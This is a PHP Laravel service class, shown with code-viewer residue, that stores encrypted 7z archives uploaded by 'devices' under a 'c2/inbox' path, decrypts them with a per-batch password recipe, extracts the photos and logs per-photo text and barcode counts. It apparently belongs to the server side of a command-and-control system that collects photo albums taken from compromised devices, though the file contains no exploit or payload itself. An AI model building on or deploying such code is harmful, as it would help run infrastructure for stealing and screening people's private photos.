153 lines
5.0 KiB
PHP
153 lines
5.0 KiB
PHP
<?php
|
|
|
|
namespace App\Services;
|
|
|
|
use App\Http\Middleware\DecryptXxbbBody;
|
|
use App\Jobs\ExtractPhotoArchive;
|
|
use App\Models\Device;
|
|
use Illuminate\Support\Facades\Storage;
|
|
|
|
class PhotoArchiveIngest
|
|
{
|
|
public function __construct(
|
|
private readonly IngestService $ingest,
|
|
) {}
|
|
|
|
/**
|
|
* Persist the uploaded 7z, then extract now (sync) or via queue.
|
|
* Caller always ACKs independently.
|
|
*
|
|
* @param array{
|
|
* x_hit?: ?int,
|
|
* upload_count?: ?int,
|
|
* process_index?: ?int,
|
|
* text_count?: ?int,
|
|
* barcode_count?: ?int
|
|
* } $photoMeta
|
|
* @param array<string, mixed> $rawCounters
|
|
*/
|
|
public function accept(
|
|
Device $device,
|
|
string $absolutePath,
|
|
string $batchBase,
|
|
array $photoMeta,
|
|
string $flavor,
|
|
array $rawCounters,
|
|
): void {
|
|
if (! $device->albumStorageEnabled() || ! is_file($absolutePath)) {
|
|
return;
|
|
}
|
|
|
|
$rel = 'c2/inbox/'.$device->device_id.'/'.date('YmdHis').'_'.str_replace('.', '', uniqid('', true)).'.bin';
|
|
$fh = fopen($absolutePath, 'rb');
|
|
if ($fh === false) {
|
|
return;
|
|
}
|
|
try {
|
|
Storage::disk('local')->put($rel, $fh);
|
|
} finally {
|
|
if (is_resource($fh)) {
|
|
fclose($fh);
|
|
}
|
|
}
|
|
|
|
if (config('queue.default') === 'sync') {
|
|
$this->process($device->id, $rel, $batchBase, $photoMeta, $flavor, $rawCounters);
|
|
|
|
return;
|
|
}
|
|
|
|
ExtractPhotoArchive::dispatch($device->id, $rel, $batchBase, $photoMeta, $flavor, $rawCounters)
|
|
->onQueue('extract');
|
|
}
|
|
|
|
/**
|
|
* Same failure policy as the old in-request extract:
|
|
* 7z miss / empty members → log ok=false, skip ingest, never throw to the client.
|
|
*
|
|
* @param array<string, mixed> $photoMeta
|
|
* @param array<string, mixed> $rawCounters
|
|
*/
|
|
public function process(
|
|
int $deviceId,
|
|
string $inboxPath,
|
|
string $batchBase,
|
|
array $photoMeta,
|
|
string $flavor,
|
|
array $rawCounters,
|
|
): void {
|
|
$logType = $flavor === 'xxbb' ? 'xxbb' : 'c2';
|
|
$event = $flavor === 'xxbb' ? 'xxbb_photo_extract' : 'check_extract';
|
|
$device = Device::query()->find($deviceId);
|
|
$abs = Storage::disk('local')->path($inboxPath);
|
|
|
|
try {
|
|
if ($device === null || ! $device->albumStorageEnabled() || ! is_file($abs)) {
|
|
create_log([
|
|
'event' => $event,
|
|
'device_key' => $device?->device_id,
|
|
'extract' => [
|
|
'ok' => false,
|
|
'files' => [],
|
|
'password_recipe' => 'session_key||'.$batchBase,
|
|
'stderr' => 'inbox missing or album storage off',
|
|
],
|
|
'photo_meta' => $photoMeta,
|
|
'raw_counters' => $rawCounters,
|
|
], $logType);
|
|
|
|
return;
|
|
}
|
|
|
|
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
|
try {
|
|
$extracted = $this->archiveFor($flavor)->extractPath($abs, $work, $batchBase);
|
|
if (! empty($extracted['files'])) {
|
|
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
|
}
|
|
create_log([
|
|
'event' => $event,
|
|
'device_key' => $device->device_id,
|
|
'extract' => [
|
|
'ok' => $extracted['ok'],
|
|
'files' => array_map('basename', $extracted['files']),
|
|
'password_recipe' => $extracted['password_recipe'],
|
|
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
|
],
|
|
'photo_meta' => $photoMeta,
|
|
'raw_counters' => $rawCounters,
|
|
], $logType);
|
|
} catch (\Throwable $e) {
|
|
create_log([
|
|
'event' => $event,
|
|
'device_key' => $device->device_id,
|
|
'extract' => [
|
|
'ok' => false,
|
|
'files' => [],
|
|
'password_recipe' => 'session_key||'.$batchBase,
|
|
'stderr' => substr($e->getMessage(), 0, 2000),
|
|
],
|
|
'photo_meta' => $photoMeta,
|
|
'raw_counters' => $rawCounters,
|
|
], $logType);
|
|
} finally {
|
|
CorunaArchive::forgetWorkDir($work);
|
|
}
|
|
} finally {
|
|
Storage::disk('local')->delete($inboxPath);
|
|
}
|
|
}
|
|
|
|
private function archiveFor(string $flavor): CorunaArchive
|
|
{
|
|
if ($flavor === 'xxbb') {
|
|
return new CorunaArchive(
|
|
DecryptXxbbBody::crypto(),
|
|
(string) config('coruna.seven_zip', ''),
|
|
);
|
|
}
|
|
|
|
return app(CorunaArchive::class);
|
|
}
|
|
}
|